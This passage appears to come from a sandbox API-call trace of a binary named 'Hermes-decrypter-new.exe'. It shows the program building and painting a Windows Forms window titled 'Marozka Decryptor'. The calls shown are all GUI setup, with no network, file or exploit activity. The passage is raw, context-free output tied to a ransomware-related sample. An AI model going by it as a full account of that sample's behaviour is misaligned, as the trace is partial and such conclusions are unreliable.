(lpPrevWndFunc=0x74600140, hWnd=0x1023c, Msg=0x24, wParam=0x0, lParam=0x19e21c) returned 0x0 [0154.313] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1023c, Msg=0x81, wParam=0x0, lParam=0x19e210) returned 0x1 [0154.314] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1023c, Msg=0x83, wParam=0x0, lParam=0x19e1fc) returned 0x0 [0154.314] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1023c, Msg=0x1, wParam=0x0, lParam=0x19e210) returned 0x0 [0154.314] GetClientRect (in: hWnd=0x1023c, lpRect=0x19dedc | out: lpRect=0x19dedc) returned 1 [0154.314] GetWindowRect (in: hWnd=0x1023c, lpRect=0x19dedc | out: lpRect=0x19dedc) returned 1 [0154.314] SetWindowTextW (hWnd=0x1023c, lpString="WindowsFormsParkingWindow") returned 1 [0154.314] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1023c, Msg=0xc, wParam=0x0, lParam=0x2fd6070) returned 0x1 [0154.315] GetParent (hWnd=0x1023c) returned 0x0 [0154.315] SetParent (hWndChild=0x7004e, hWndNewParent=0x1023c) returned 0x40078 [0154.315] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7004e, Msg=0x18, wParam=0x0, lParam=0x0) returned 0x0 [0154.316] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7004e, Msg=0x46, wParam=0x0, lParam=0x19e7e4) returned 0x0 [0154.317] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7004e, Msg=0x22, wParam=0x0, lParam=0x0) returned 0x0 [0154.317] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7004e, Msg=0x47, wParam=0x0, lParam=0x19e7e4) returned 0x0 [0154.317] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7004e, Msg=0x3, wParam=0x0, lParam=0x5f0000) returned 0x0 [0154.317] GetClientRect (in: hWnd=0x7004e, lpRect=0x19de6c | out: lpRect=0x19de6c) returned 1 [0154.317] GetWindowRect (in: hWnd=0x7004e, lpRect=0x19de6c | out: lpRect=0x19de6c) returned 1 [0154.317] GetParent (hWnd=0x7004e) returned 0x1023c [0154.317] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x1023c, lpPoints=0x19de6c, cPoints=0x2 | out: lpPoints=0x19de6c) returned -1638403 [0154.317] GetClientRect (in: hWnd=0x7004e, lpRect=0x19e4d4 | out: lpRect=0x19e4d4) returned 1 [0154.317] GetWindowRect (in: hWnd=0x7004e, lpRect=0x19e4d4 | out: lpRect=0x19e4d4) returned 1 [0154.317] GetParent (hWnd=0x7004e) returned 0x1023c [0154.318] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x1023c, lpPoints=0x19e4d4, cPoints=0x2 | out: lpPoints=0x19e4d4) returned -1638403 [0154.318] GetParent (hWnd=0x7004e) returned 0x1023c [0154.318] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7004e, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0154.318] GetWindowThreadProcessId (in: hWnd=0x1022c, lpdwProcessId=0x19e888 | out: lpdwProcessId=0x19e888) returned 0x390 [0154.318] SetParent (hWndChild=0x1022c, hWndNewParent=0x1023c) returned 0x40078 [0154.318] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1022c, Msg=0x18, wParam=0x0, lParam=0x0) returned 0x0 [0154.319] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1022c, Msg=0x46, wParam=0x0, lParam=0x19e7e4) returned 0x0 [0154.320] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1022c, Msg=0x22, wParam=0x0, lParam=0x0) returned 0x0 [0154.320] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1022c, Msg=0x47, wParam=0x0, lParam=0x19e7e4) returned 0x0 [0154.320] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1022c, Msg=0x3, wParam=0x0, lParam=0x0) returned 0x0 [0154.320] GetClientRect (in: hWnd=0x1022c, lpRect=0x19de6c | out: lpRect=0x19de6c) returned 1 [0154.320] GetWindowRect (in: hWnd=0x1022c, lpRect=0x19de6c | out: lpRect=0x19de6c) returned 1 [0154.320] GetParent (hWnd=0x1022c) returned 0x1023c [0154.320] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x1023c, lpPoints=0x19de6c, cPoints=0x2 | out: lpPoints=0x19de6c) returned -1638403 [0154.320] GetClientRect (in: hWnd=0x1022c, lpRect=0x19e4d4 | out: lpRect=0x19e4d4) returned 1 [0154.320] GetWindowRect (in: hWnd=0x1022c, lpRect=0x19e4d4 | out: lpRect=0x19e4d4) returned 1 [0154.320] GetParent (hWnd=0x1022c) returned 0x1023c [0154.320] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x1023c, lpPoints=0x19e4d4, cPoints=0x2 | out: lpPoints=0x19e4d4) returned -1638403 [0154.320] GetParent (hWnd=0x1022c) returned 0x1023c [0154.320] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1022c, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0154.321] GetWindowLongW (hWnd=0x40078, nIndex=-20) returned 327816 [0154.321] DestroyWindow (hWnd=0x40078) returned 1 [0154.321] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x40078, Msg=0x90, wParam=0x0, lParam=0x0) returned 0x0 [0154.324] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x40078, Msg=0x281, wParam=0x0, lParam=0xc000000f) returned 0x0 [0154.324] GetKeyboardLayout (idThread=0x0) returned 0x4090409 [0154.324] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x40078, Msg=0x282, wParam=0x1, lParam=0x0) returned 0x0 [0154.325] GetWindowTextLengthW (hWnd=0x40078) returned 17 [0154.325] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x40078, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x11 [0154.325] GetSystemMetrics (nIndex=42) returned 0 [0154.325] GetWindowTextW (in: hWnd=0x40078, lpString=0x19e360, nMaxCount=18 | out: lpString="Marozka Decryptor") returned 17 [0154.325] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x40078, Msg=0xd, wParam=0x12, lParam=0x19e360) returned 0x11 [0154.325] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x40078, Msg=0x2, wParam=0x0, lParam=0x0) returned 0x0 [0154.326] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x40078, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x0 [0154.327] GetCurrentActCtx (in: lphActCtx=0x19e7d0 | out: lphActCtx=0x19e7d0*=0xef1264) returned 1 [0154.327] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0154.328] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0154.328] CreateWindowExW (dwExStyle=0x10080, lpClassName="WindowsForms10.Window.8.app.0.141b42a_r11_ad1", lpWindowName="Marozka Decryptor", dwStyle=0x2010000, X=305, Y=153, nWidth=829, nHeight=554, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x1023e [0154.328] SetWindowLongW (hWnd=0x1023e, nIndex=-4, dwNewLong=1952448832) returned 88361574 [0154.328] GetWindowLongW (hWnd=0x1023e, nIndex=-4) returned 1952448832 [0154.329] SetWindowLongW (hWnd=0x1023e, nIndex=-4, dwNewLong=88377198) returned 1952448832 [0154.329] GetWindowLongW (hWnd=0x1023e, nIndex=-4) returned 88377198 [0154.329] GetWindowLongW (hWnd=0x1023e, nIndex=-16) returned 113311744 [0154.329] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1023e, Msg=0x81, wParam=0x0, lParam=0x19e1f0) returned 0x1 [0154.330] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1023e, Msg=0x83, wParam=0x0, lParam=0x19e1dc) returned 0x0 [0154.331] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1023e, Msg=0x1, wParam=0x0, lParam=0x19e1f0) returned 0x0 [0154.331] GetClientRect (in: hWnd=0x1023e, lpRect=0x19dea8 | out: lpRect=0x19dea8) returned 1 [0154.331] GetWindowRect (in: hWnd=0x1023e, lpRect=0x19dea8 | out: lpRect=0x19dea8) returned 1 [0154.331] InvalidateRect (hWnd=0x1023e, lpRect=0x0, bErase=1) returned 1 [0154.331] SetWindowPos (hWnd=0x1022c, hWndInsertAfter=0x0, X=0, Y=0, cx=823, cy=95, uFlags=0x16) returned 1 [0154.331] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1022c, Msg=0x46, wParam=0x0, lParam=0x19da6c) returned 0x0 [0154.331] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1022c, Msg=0x83, wParam=0x1, lParam=0x19da44) returned 0x0 [0154.332] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1022c, Msg=0x47, wParam=0x0, lParam=0x19da6c) returned 0x0 [0154.332] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1022c, Msg=0x5, wParam=0x0, lParam=0x5f0337) returned 0x0 [0154.333] GetClientRect (in: hWnd=0x1022c, lpRect=0x19d75c | out: lpRect=0x19d75c) returned 1 [0154.333] GetWindowRect (in: hWnd=0x1022c, lpRect=0x19d75c | out: lpRect=0x19d75c) returned 1 [0154.333] GetParent (hWnd=0x1022c) returned 0x1023c [0154.333] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x1023c, lpPoints=0x19d75c, cPoints=0x2 | out: lpPoints=0x19d75c) returned -1638403 [0154.333] GetWindowTextLengthW (hWnd=0x1022c) returned 0 [0154.333] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1022c, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0154.333] GetSystemMetrics (nIndex=42) returned 0 [0154.333] GetWindowTextW (in: hWnd=0x1022c, lpString=0x19d5dc, nMaxCount=1 | out: lpString="") returned 0 [0154.333] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1022c, Msg=0xd, wParam=0x1, lParam=0x19d5dc) returned 0x0 [0154.333] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0154.333] AdjustWindowRectEx (in: lpRect=0x19d4fc, dwStyle=0x4e01000b, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19d4fc) returned 1 [0154.333] GetParent (hWnd=0x1022c) returned 0x1023c [0154.333] SetWindowPos (hWnd=0x7004e, hWndInsertAfter=0x0, X=0, Y=95, cx=823, cy=430, uFlags=0x16) returned 1 [0154.334] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7004e, Msg=0x46, wParam=0x0, lParam=0x19da6c) returned 0x0 [0154.334] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7004e, Msg=0x83, wParam=0x1, lParam=0x19da44) returned 0x0 [0154.335] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7004e, Msg=0x47, wParam=0x0, lParam=0x19da6c) returned 0x0 [0154.335] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7004e, Msg=0x5, wParam=0x0, lParam=0x1ae0337) returned 0x0 [0154.335] GetClientRect (in: hWnd=0x7004e, lpRect=0x19d75c | out: lpRect=0x19d75c) returned 1 [0154.335] GetWindowRect (in: hWnd=0x7004e, lpRect=0x19d75c | out: lpRect=0x19d75c) returned 1 [0154.335] GetParent (hWnd=0x7004e) returned 0x1023c [0154.335] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x1023c, lpPoints=0x19d75c, cPoints=0x2 | out: lpPoints=0x19d75c) returned -1638403 [0154.335] GetWindowTextLengthW (hWnd=0x7004e) returned 0 [0154.335] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7004e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0154.335] GetSystemMetrics (nIndex=42) returned 0 [0154.335] GetWindowTextW (in: hWnd=0x7004e, lpString=0x19d5dc, nMaxCount=1 | out: lpString="") returned 0 [0154.335] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7004e, Msg=0xd, wParam=0x1, lParam=0x19d5dc) returned 0x0 [0154.335] GetParent (hWnd=0x7004e) returned 0x1023c [0154.336] SetWindowTextW (hWnd=0x1023e, lpString="Marozka Decryptor") returned 1 [0154.336] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1023e, Msg=0xc, wParam=0x0, lParam=0x2fd6348) returned 0x1 [0154.336] GetStartupInfoW (in: lpStartupInfo=0x2fd6770 | out: lpStartupInfo=0x2fd6770*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\FD1HVy\\Hermes-decrypter-new.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x401, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x10001, hStdError=0x0)) [0154.337] GetParent (hWnd=0x1023e) returned 0x0 [0154.337] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0154.337] CreateWindowExW (dwExStyle=0x80, lpClassName="WindowsForms10.Window.0.app.0.141b42a_r11_ad1", lpWindowName=0x0, dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x10240 [0154.338] SetWindowLongW (hWnd=0x10240, nIndex=-4, dwNewLong=1952448832) returned 88362374 [0154.338] GetWindowLongW (hWnd=0x10240, nIndex=-4) returned 1952448832 [0154.338] SetWindowLongW (hWnd=0x10240, nIndex=-4, dwNewLong=88376998) returned 1952448832 [0154.338] GetWindowLongW (hWnd=0x10240, nIndex=-4) returned 88376998 [0154.338] GetWindowLongW (hWnd=0x10240, nIndex=-16) returned 79691776 [0154.338] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10240, Msg=0x24, wParam=0x0, lParam=0x19e224) returned 0x0 [0154.338] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10240, Msg=0x81, wParam=0x0, lParam=0x19e218) returned 0x1 [0154.339] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10240, Msg=0x83, wParam=0x0, lParam=0x19e204) returned 0x0 [0154.340] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10240, Msg=0x1, wParam=0x0, lParam=0x19e218) returned 0x0 [0154.341] SetWindowLongW (hWnd=0x1023e, nIndex=-8, dwNewLong=66112) returned 0 [0154.342] SendMessageW (hWnd=0x1023e, Msg=0x80, wParam=0x0, lParam=0xd01bf) returned 0x0 [0154.342] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1023e, Msg=0x80, wParam=0x0, lParam=0xd01bf) returned 0x0 [0154.343] SendMessageW (hWnd=0x1023e, Msg=0x80, wParam=0x1, lParam=0x800a5) returned 0x0 [0154.343] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1023e, Msg=0x80, wParam=0x1, lParam=0x800a5) returned 0x0 [0154.343] GetSystemMenu (hWnd=0x1023e, bRevert=0) returned 0x0 [0154.343] GetWindowPlacement (in: hWnd=0x1023e, lpwndpl=0x19e7e0 | out: lpwndpl=0x19e7e0) returned 1 [0154.343] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x0) returned 1 [0154.343] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf030, uEnable=0x1) returned 1 [0154.343] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf060, uEnable=0x0) returned 1 [0154.343] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf120, uEnable=0x1) returned 1 [0154.343] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf000, uEnable=0x1) returned 1 [0154.343] GetClientRect (in: hWnd=0x1023e, lpRect=0x19e824 | out: lpRect=0x19e824) returned 1 [0154.343] GetClientRect (in: hWnd=0x1023e, lpRect=0x19e784 | out: lpRect=0x19e784) returned 1 [0154.343] GetWindowRect (in: hWnd=0x1023e, lpRect=0x19e784 | out: lpRect=0x19e784) returned 1 [0154.343] SetWindowPos (hWnd=0x1023e, hWndInsertAfter=0x0, X=0, Y=0, cx=0, cy=0, uFlags=0x57) returned 1 [0154.343] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1023e, Msg=0x46, wParam=0x0, lParam=0x19e6ec) returned 0x0 [0154.380] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1023e, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0154.380] GetWindowPlacement (in: hWnd=0x1023e, lpwndpl=0x19e434 | out: lpwndpl=0x19e434) returned 1 [0154.381] GetClientRect (in: hWnd=0x1023e, lpRect=0x19e3e0 | out: lpRect=0x19e3e0) returned 1 [0154.381] GetWindowTextLengthW (hWnd=0x1023e) returned 17 [0154.381] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1023e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x11 [0154.381] GetSystemMetrics (nIndex=42) returned 0 [0154.381] GetWindowTextW (in: hWnd=0x1023e, lpString=0x19e294, nMaxCount=18 | out: lpString="Marozka Decryptor") returned 17 [0154.381] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1023e, Msg=0xd, wParam=0x12, lParam=0x19e294) returned 0x11 [0154.381] GetClientRect (in: hWnd=0x1023e, lpRect=0x19e2e8 | out: lpRect=0x19e2e8) returned 1 [0154.383] EnumDisplayMonitors (hdc=0x0, lprcClip=0x0, lpfnEnum=0x5448a3e, dwData=0x0) returned 1 [0154.383] GetMonitorInfoW (in: hMonitor=0x10001, lpmi=0x19df48 | out: lpmi=0x19df48) returned 1 [0154.383] CreateDCW (pwszDriver="\\\\.\\DISPLAY1", pwszDevice=0x0, pszPort=0x0, pdm=0x0) returned 0x31010719 [0154.383] GetDeviceCaps (hdc=0x31010719, index=12) returned 32 [0154.383] GetDeviceCaps (hdc=0x31010719, index=14) returned 1 [0154.383] DeleteDC (hdc=0x31010719) returned 1 [0154.383] GetCurrentObject (hdc=0x60100ce, type=0x1) returned 0xb00017 [0154.383] GetCurrentObject (hdc=0x60100ce, type=0x2) returned 0x900010 [0154.384] GetCurrentObject (hdc=0x60100ce, type=0x7) returned 0x400506ef [0154.384] GetCurrentObject (hdc=0x60100ce, type=0x6) returned 0x8a01c2 [0154.384] SaveDC (hdc=0x60100ce) returned 1 [0154.384] GetNearestColor (hdc=0x60100ce, color=0x302d2d) returned 0x302d2d [0154.384] CreateSolidBrush (color=0x302d2d) returned 0x3c10019b [0154.385] FillRect (hDC=0x60100ce, lprc=0x19e188, hbr=0x3c10019b) returned 1 [0154.385] DeleteObject (ho=0x3c10019b) returned 1 [0154.385] RestoreDC (hdc=0x60100ce, nSavedDC=-1) returned 1 [0154.386] GetWindowPlacement (in: hWnd=0x1023e, lpwndpl=0x19e418 | out: lpwndpl=0x19e418) returned 1 [0154.386] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1023e, Msg=0x47, wParam=0x0, lParam=0x19e6ec) returned 0x0 [0154.386] GetClientRect (in: hWnd=0x1023e, lpRect=0x19e3c8 | out: lpRect=0x19e3c8) returned 1 [0154.386] GetWindowRect (in: hWnd=0x1023e, lpRect=0x19e3c8 | out: lpRect=0x19e3c8) returned 1 [0154.387] SetWindowLongW (hWnd=0x1023e, nIndex=-8, dwNewLong=66112) returned 66112 [0154.388] SendMessageW (hWnd=0x10240, Msg=0x80, wParam=0x1, lParam=0x800a5) returned 0x0 [0154.388] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10240, Msg=0x80, wParam=0x1, lParam=0x800a5) returned 0x0 [0154.390] SetWindowPos (hWnd=0x1023e, hWndInsertAfter=0xffffffff, X=0, Y=0, cx=0, cy=0, uFlags=0x3) returned 1 [0154.390] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1023e, Msg=0x46, wParam=0x0, lParam=0x19e79c) returned 0x0 [0154.390] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10240, Msg=0x46, wParam=0x0, lParam=0x19e79c) returned 0x0 [0154.391] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1023e, Msg=0x46, wParam=0x0, lParam=0x19e79c) returned 0x0 [0154.391] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10240, Msg=0x46, wParam=0x0, lParam=0x19e79c) returned 0x0 [0154.391] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1023e, Msg=0x1c, wParam=0x1, lParam=0x0) returned 0x0 [0154.391] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10240, Msg=0x1c, wParam=0x1, lParam=0x0) returned 0x0 [0154.391] NtdllDefWindowProc_W (hWnd=0x70030, Msg=0x1c, wParam=0x1, lParam=0x0) returned 0x0 [0154.391] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1023e, Msg=0x86, wParam=0x0, lParam=0x0) returned 0x1 [0154.394] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1023e, Msg=0x281, wParam=0x1, lParam=0xc000000f) returned 0x0 [0154.395] GetKeyboardLayout (idThread=0x0) returned 0x4090409 [0154.395] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1023e, Msg=0x282, wParam=0x2, lParam=0x0) returned 0x0 [0154.396] GetKeyboardLayout (idThread=0x0) returned 0x4090409 [0154.396] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1023e, Msg=0x7, wParam=0x0, lParam=0x0) returned 0x0 [0154.396] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1023e, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0154.405] GetWindowPlacement (in: hWnd=0x1023e, lpwndpl=0x19e4e4 | out: lpwndpl=0x19e4e4) returned 1 [0154.405] GetClientRect (in: hWnd=0x1023e, lpRect=0x19e490 | out: lpRect=0x19e490) returned 1 [0154.405] GetWindowTextLengthW (hWnd=0x1023e) returned 17 [0154.405] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1023e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x11 [0154.405] GetSystemMetrics (nIndex=42) returned 0 [0154.405] GetWindowTextW (in: hWnd=0x1023e, lpString=0x19e344, nMaxCount=18 | out: lpString="Marozka Decryptor") returned 17 [0154.405] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1023e, Msg=0xd, wParam=0x12, lParam=0x19e344) returned 0x11 [0154.405] GetClientRect (in: hWnd=0x1023e, lpRect=0x19e398 | out: lpRect=0x19e398) returned 1 [0154.405] GetCurrentObject (hdc=0x10105d6, type=0x1) returned 0xb00017 [0154.405] GetCurrentObject (hdc=0x10105d6, type=0x2) returned 0x900010 [0154.405] GetCurrentObject (hdc=0x10105d6, type=0x7) returned 0x400506ef [0154.405] GetCurrentObject (hdc=0x10105d6, type=0x6) returned 0x8a01c2 [0154.405] SaveDC (hdc=0x10105d6) returned 1 [0154.405] GetNearestColor (hdc=0x10105d6, color=0x302d2d) returned 0x302d2d [0154.405] CreateSolidBrush (color=0x302d2d) returned 0x3d10019b [0154.405] FillRect (hDC=0x10105d6, lprc=0x19e238, hbr=0x3d10019b) returned 1 [0154.406] DeleteObject (ho=0x3d10019b) returned 1 [0154.406] RestoreDC (hdc=0x10105d6, nSavedDC=-1) returned 1 [0154.406] GetWindowPlacement (in: hWnd=0x1023e, lpwndpl=0x19e4c8 | out: lpwndpl=0x19e4c8) returned 1 [0154.406] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1023e, Msg=0x47, wParam=0x0, lParam=0x19e79c) returned 0x0 [0154.406] GetClientRect (in: hWnd=0x1023e, lpRect=0x19e478 | out: lpRect=0x19e478) returned 1 [0154.406] GetWindowRect (in: hWnd=0x1023e, lpRect=0x19e478 | out: lpRect=0x19e478) returned 1 [0154.411] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0154.411] GetWindowLongW (hWnd=0x1023e, nIndex=-16) returned 381747200 [0154.411] GetWindowLongW (hWnd=0x1023e, nIndex=-16) returned 381747200 [0154.411] GetWindowLongW (hWnd=0x1023e, nIndex=-20) returned 65928 [0154.411] SetWindowLongW (hWnd=0x1023e, nIndex=-16, dwNewLong=302055424) returned 381747200 [0154.411] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1023e, Msg=0x7c, wParam=0xfffffff0, lParam=0x19e784) returned 0x0 [0154.412] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1023e, Msg=0x7d, wParam=0xfffffff0, lParam=0x19e784) returned 0x0 [0154.412] SetWindowLongW (hWnd=0x1023e, nIndex=-20, dwNewLong=65664) returned 65672 [0154.412] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1023e, Msg=0x7c, wParam=0xffffffec, lParam=0x19e784) returned 0x0 [0154.413] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1023e, Msg=0x7d, wParam=0xffffffec, lParam=0x19e784) returned 0x0 [0154.413] SetWindowPos (hWnd=0x1023e, hWndInsertAfter=0x0, X=0, Y=0, cx=0, cy=0, uFlags=0x37) returned 1 [0154.413] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1023e, Msg=0x46, wParam=0x0, lParam=0x19e79c) returned 0x0 [0154.413] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1023e, Msg=0x83, wParam=0x1, lParam=0x19e774) returned 0x0 [0154.414] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1023e, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0154.414] GetWindowPlacement (in: hWnd=0x1023e, lpwndpl=0x19e4e4 | out: lpwndpl=0x19e4e4) returned 1 [0154.414] GetClientRect (in: hWnd=0x1023e, lpRect=0x19e490 | out: lpRect=0x19e490) returned 1 [0154.414] GetWindowTextLengthW (hWnd=0x1023e) returned 17 [0154.414] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1023e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x11 [0154.414] GetSystemMetrics (nIndex=42) returned 0 [0154.414] GetWindowTextW (in: hWnd=0x1023e, lpString=0x19e344, nMaxCount=18 | out: lpString="Marozka Decryptor") returned 17 [0154.414] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1023e, Msg=0xd, wParam=0x12, lParam=0x19e344) returned 0x11 [0154.414] GetClientRect (in: hWnd=0x1023e, lpRect=0x19e398 | out: lpRect=0x19e398) returned 1 [0154.414] GetCurrentObject (hdc=0x60100ce, type=0x1) returned 0xb00017 [0154.414] GetCurrentObject (hdc=0x60100ce, type=0x2) returned 0x900010 [0154.414] GetCurrentObject (hdc=0x60100ce, type=0x7) returned 0x400506ef [0154.415] GetCurrentObject (hdc=0x60100ce, type=0x6) returned 0x8a01c2 [0154.415] SaveDC (hdc=0x60100ce) returned 1 [0154.415] GetNearestColor (hdc=0x60100ce, color=0x302d2d) returned 0x302d2d [0154.415] CreateSolidBrush (color=0x302d2d) returned 0x3e10019b [0154.415] FillRect (hDC=0x60100ce, lprc=0x19e238, hbr=0x3e10019b) returned 1 [0154.426] DeleteObject (ho=0x3e10019b) returned 1 [0154.426] RestoreDC (hdc=0x60100ce, nSavedDC=-1) returned 1 [0154.427] GetWindowPlacement (in: hWnd=0x1023e, lpwndpl=0x19e4c8 | out: lpwndpl=0x19e4c8) returned 1 [0154.427] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1023e, Msg=0x47, wParam=0x0, lParam=0x19e79c) returned 0x0 [0154.427] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1023e, Msg=0x3, wParam=0x0, lParam=0x990131) returned 0x0 [0154.427] GetClientRect (in: hWnd=0x1023e, lpRect=0x19ddc8 | out: lpRect=0x19ddc8) returned 1 [0154.427] GetWindowRect (in: hWnd=0x1023e, lpRect=0x19ddc8 | out: lpRect=0x19ddc8) returned 1 [0154.427] InvalidateRect (hWnd=0x1023e, lpRect=0x0, bErase=1) returned 1 [0154.427] GetWindowTextLengthW (hWnd=0x1023e) returned 17 [0154.427] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1023e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x11 [0154.427] GetSystemMetrics (nIndex=42) returned 0 [0154.427] GetWindowTextW (in: hWnd=0x1023e, lpString=0x19dc20, nMaxCount=18 | out: lpString="Marozka Decryptor") returned 17 [0154.427] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1023e, Msg=0xd, wParam=0x12, lParam=0x19dc20) returned 0x11 [0154.427] SetWindowPos (hWnd=0x1022c, hWndInsertAfter=0x0, X=0, Y=0, cx=829, cy=95, uFlags=0x16) returned 1 [0154.427] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1022c, Msg=0x46, wParam=0x0, lParam=0x19d98c) returned 0x0 [0154.428] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1022c, Msg=0x83, wParam=0x1, lParam=0x19d964) returned 0x0 [0154.428] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1022c, Msg=0x47, wParam=0x0, lParam=0x19d98c) returned 0x0 [0154.428] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1022c, Msg=0x5, wParam=0x0, lParam=0x5f033d) returned 0x0 [0154.428] GetClientRect (in: 